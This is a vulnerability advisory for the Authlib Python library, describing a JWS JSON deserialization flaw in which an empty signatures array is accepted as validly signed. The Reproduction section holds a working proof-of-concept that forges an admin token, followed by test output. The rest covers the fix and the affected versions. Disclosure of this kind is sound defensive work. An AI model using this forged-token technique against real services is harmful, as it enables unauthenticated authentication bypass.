Authlib: empty signatures validation in JWS JSON deserialization
The advisory, in context
Authlib (prior to 1.9.0) contains a signature verification bypass vulnerability. The JsonWebSignature.deserialize_json() method accepts a JSON Serialization JWS object and returns the payload as successfully verified without checking for a signature and without requiring a cryptographic key.
Root cause
authlib/jose/rfc7515/jws.py, read on the installed 1.8.0 artifact:
is_valid = True # set before anything is checked
for header_obj in obj["signatures"]: # empty array means the body never runs
jws_header, valid = self._validate_json_jws(...)
if not valid:
is_valid = False
...
if is_valid:
return rv # returns the payload as verified
is_valid is initialised to True and only ever set to False from inside the loop. A JWS JSON
Serialization object whose signatures array is empty iterates zero times, so the flag survives and
the payload is returned as successfully verified. No key is consulted, because no signature is
examined.
Reproduction
import base64
from authlib.jose import JsonWebSignature
def b64(b):
return base64.urlsafe_b64encode(b).rstrip(b"=").decode()
jws = JsonWebSignature()
payload = b'{"sub":"attacker","role":"admin"}'
forged = {"payload": b64(payload), "signatures": []}
print(jws.deserialize_json(forged, key=None))
Observed on authlib 1.8.0, Python 3.14, clean virtualenv:
[A] ATTACK general JSON, signatures:[] , key=None
ACCEPTED -> {'header': [], 'payload': b'{"sub":"attacker","role":"admin"}'}
[B] ATTACK general JSON, signatures:[] , key=<real key>
ACCEPTED -> {'header': [], 'payload': b'{"sub":"attacker","role":"admin"}'}
[C] CONTROL+ genuine general JSON with 2 signatures, right key
ACCEPTED (expected) payload= b'{"sub":"attacker","role":"admin"}'
[D] CONTROL- same object, first signature corrupted
rejected (expected): BadSignatureError bad_signature:
[E] CONTROL- signatures array removed entirely (not empty, absent)
rejected: DecodeError Missing "protected" value:
[C] proves the verifier works normally on a genuine object, so a deployment looks healthy. [D] proves tampering is caught. [E] proves this is specifically the empty-array case and not a general missing-member bug. [A] and [B] are the bypass, and [B] shows that holding the correct key does not save a caller: the empty array is accepted either way.
For comparison, joserfc 1.7.5, the library this module's deprecation warning points users to, rejects
the identical object with BadSignatureError. The correct behaviour already exists in your newer
library.
Impact
Any relying party that calls JsonWebSignature.deserialize_json() on input it did not produce will
accept an attacker-authored payload as signed. Where that payload carries identity or authorisation
claims, this is a complete authentication bypass by an unauthenticated remote caller with no key
material.
What would fix it
In _deserialize_json, reject an empty signatures array before the loop, or initialise the flag
from the signature count, for example is_valid = len(obj["signatures"]) > 0. Pull request #938
proposes the same thing.
Affected packages
Start with the recorded fix for your release branch. Check your installed version and test compatibility before upgrading. Fixing this advisory does not rule out other vulnerabilities in the release.
Earlier releases before 1.9.0
Fixed in 1.9.0
64 explicitly affected versions
0.1, 0.10, 0.11, 0.12, 0.12.1, 0.13, 0.14, 0.14.1, 0.14.2, 0.14.3, 0.15, 0.15.1, 0.15.2, 0.15.3, 0.15.4, 0.15.5, 0.15.6, 0.1rc0, 0.2, 0.2.1, 0.3, 0.4, 0.4.1, 0.5, 0.5.1, 0.6, 0.7, 0.8, 0.9, 1.0.0, 1.0.0a1, 1.0.0a2, 1.0.0b1, 1.0.0b2, 1.0.0rc1, 1.0.1, 1.1.0, 1.2.0, 1.2.1, 1.3.0, 1.3.1, 1.3.2, 1.4.0, 1.4.1, 1.5.0, 1.5.1, 1.5.2, 1.6.0, 1.6.1, 1.6.10, 1.6.11, 1.6.12, 1.6.2, 1.6.3, 1.6.4, 1.6.5, 1.6.6, 1.6.7, 1.6.8, 1.6.9, 1.7.0, 1.7.1, 1.7.2, 1.8.0
View affected-version evidence
{
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.9.0"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"0.1",
"0.10",
"0.11",
"0.12",
"0.12.1",
"0.13",
"0.14",
"0.14.1",
"0.14.2",
"0.14.3",
"0.15",
"0.15.1",
"0.15.2",
"0.15.3",
"0.15.4",
"0.15.5",
"0.15.6",
"0.1rc0",
"0.2",
"0.2.1",
"0.3",
"0.4",
"0.4.1",
"0.5",
"0.5.1",
"0.6",
"0.7",
"0.8",
"0.9",
"1.0.0",
"1.0.0a1",
"1.0.0a2",
"1.0.0b1",
"1.0.0b2",
"1.0.0rc1",
"1.0.1",
"1.1.0",
"1.2.0",
"1.2.1",
"1.3.0",
"1.3.1",
"1.3.2",
"1.4.0",
"1.4.1",
"1.5.0",
"1.5.1",
"1.5.2",
"1.6.0",
"1.6.1",
"1.6.10",
"1.6.11",
"1.6.12",
"1.6.2",
"1.6.3",
"1.6.4",
"1.6.5",
"1.6.6",
"1.6.7",
"1.6.8",
"1.6.9",
"1.7.0",
"1.7.1",
"1.7.2",
"1.8.0"
]
}References
- https://github.com/authlib/authlib/security/advisories/GHSA-6v38-4h7w-rj9h
- https://nvd.nist.gov/vuln/detail/CVE-2026-96760
- https://github.com/authlib/authlib/pull/938
- https://github.com/authlib/authlib/commit/6c11a02da8730914cea08ec195f1108a40dc6733
- https://github.com/authlib/authlib
- https://github.com/authlib/authlib/releases/tag/v1.9.0
- https://kb.cert.org/vuls/id/762428
- https://www.kb.cert.org/vuls/id/762428